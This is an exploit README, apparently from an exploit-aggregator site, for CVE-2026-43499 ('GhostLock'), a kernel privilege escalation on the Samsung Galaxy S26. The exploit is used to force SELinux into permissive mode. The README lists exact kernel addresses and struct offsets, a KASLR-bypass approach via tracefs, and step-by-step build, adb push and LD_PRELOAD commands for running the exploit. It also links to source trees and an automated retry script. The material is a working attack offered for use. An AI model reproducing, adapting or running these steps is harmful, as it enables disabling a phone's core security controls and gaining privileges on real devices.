## https://sploitus.com/exploit?id=88E0D605-5AE6-5E32-8DEE-885166001743
# S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — Achieved SELinux Permissive
Research on CVE-2026-43499 (GhostLock), a privilege escalation vulnerability targeting the Samsung Galaxy S26 (SM-S942U1, codename `m1q`, SoC SM8850 Snapdragon 8 Elite Gen2, kernel 6.12.30-android16-5, Android 16). ## Summary of Status
| Target | Status |
|---|---|
| **SELinux enforce 1→0 (Permissive)** | ✅ **Achieved** (approx. 44% success rate) |
| Stable park | ✅ Remained stable for several minutes |
| uid=0 Full Root + KernelSU | ❌ Limited by kernel-level boundaries (see below) |
## Root Cause (The real culprit that caused previous failures)
1. **The American version uses KASLR, not nokaslr**. The `slide` variable is randomly set each time it starts (observed values: 0x30000/0x50000/0x130000/0x150000…). The original polygraphene/CyberMeowfia code hardcodes `slide=0` for all addresses, resulting in incorrect values. **Fix**: Migrated the tracefs KASLR detection from m3q-azf1 (`slideTracefs.c`). 2. **The American version of GhostLock only supports writing “NULL”**. The `target.h` notes clearly: STORE (rb_right writes non-NULL) is “KP's off-page”, shape0 (rb_left) is “KPs on AZF1”; only EMERALD_NULL (rb writes NULL) works. SELinux allows writing “NULL 0 to enforcing”, thus achieving success. ## 🛑 Hard Technical Boundaries for uid=0
Polygraphene’s uid=0 approach relies on writing CAN_MERGE(0x10) (non-NULL) to pipe_buffer flags. The American version (MTE + KDP) only supports writing NULL; writing non-NULL values **certainly causes kernel panic** (observed 4/4 KP cases). This cannot be fixed through parameter tuning—a new read/write primitive that can write non-NULL values is required (the m3q author also confirmed in README: “Soft-root still requires info leak + cred finish”). ## Directory Structure
```
├── README.md # This file
├── docs/
│ └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md # Complete diagnosis, root cause, and boundaries
├── m3q-azf1/ # m3q tree (reference implementation for SELinux park)
│ ├── generate_target.py # Tool for automatically generating target.h
│ ├── build_m1q.bat # NDK r29 build script (American version of target)
│ ├── target.h # American version of target (P0=0xc7800000, N1b=0)
│ └── preload-4-s1.so # Achieved SELinux Permissive version (111KB)
├── polygraphene/ # polygraphene tree (uid=0 full process + KASLR fix)
│ ├── src/slideTracefs.c # KASLR detection (core fix)
│ ├── src/main.c # Adding KASLR calls for tracefs
│ ├── src/Util.c # SELinux NULL write + empty pi_waiters
│ ├── src/fops.c # fd_set layout
```
│ ├── targets/m1q-S942U1UES4AZG3/target.h # US version of the target
│ ├── build_r29.bat # Build script
│ └── preload.so # SELinux single-process enabled version (162KB)
├── auto-run.ps1 # Automated retry script (includes root detection)
└── kallsyms/ # US version of the kernel symbol table
└── kallsyms.txt # 128307 symbols (5.7MB)
```
## Reproduction: Achieving SELinux Permissive
### Prerequisites
- Device: SM-S942U1, S942U1UES4AZG3, USB debugging
- Host: Windows, adb, Android NDK r29
### Method A: Polygraphene tree (single-process, with uid=0 process)
```powershell
# Build (already includes tracefs KASLR fixes)
cd polygraphene
cmd /c build_r29.bat
# Push and run
adb push build/m1q-S942U1UES4AZG3/bin/preload.so /data/local/tmp/preload.so
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# Observe logs; after SELinux is successful, getenforce → Permissive
```
### Method B: m3q tree (for SELinux park use only)
```powershell
cd m3q-azf1
cmd /c build_m1q.bat
adb push source/build/bin/preload-4-s1.so /data/local/tmp/preload-4-s1.so
adb shell "LD_PRELOAD=/data/local/tmp/preload-4-s1.so /system/bin/true"
# Success indicator: slide-kaslr-ok + S1_READY + getenforce → Permissive
```
## Key parameters (Authoritatively confirmed; do not modify)
| Parameter | Value | Source |
|---|---|---|
| `P0_KERNEL_PHYS_LOAD` | 0xc7800000 | generate_target.py from xbl_config (authoritatively confirmed) |
| `PSELECT_WAITER_WORD_SHIFT` | 2 | Kernel disassembly: derive_pselect_layout |
| `SELINUX_ENFORCING` | 0xffffffc0827afb08 | kallsyms |
| `task_struct.prio` | 0x94 | BTF (value for 6.12; not 0x84 for 6.6) |
| `task_struct.cred` | 0x900 | BTF |
| mm_struct objsize | 1280 (0x500) | /proc/slabinfo |
## Risks (Read carefully)
- **Frequent kernel panics** (About 44% success rate per write primitive; other KP processes restart)
- Delayed KP (May still experience KP after parking)
- Risk of safe-mode-only boot/factory-reset
- **Only for devices owned by the user**; experimental exploit
## Thanks
- polygraphene/CyberMeowfia (S26 dirty-pipe port)
- Bugel/cve-2026-43499-m3q-azf1 (Reference for m3q; tracefs KASLR + I4 emerald/M1Q shape)
- PeronGH/ghostlock-selinux-disabler (Full version of JoinChang’s single-write extraction; reference for shape)
- NebuSec (Vulnerability discovery/principle)
- JoinChang/ghostlock-oneplus (Original exploit)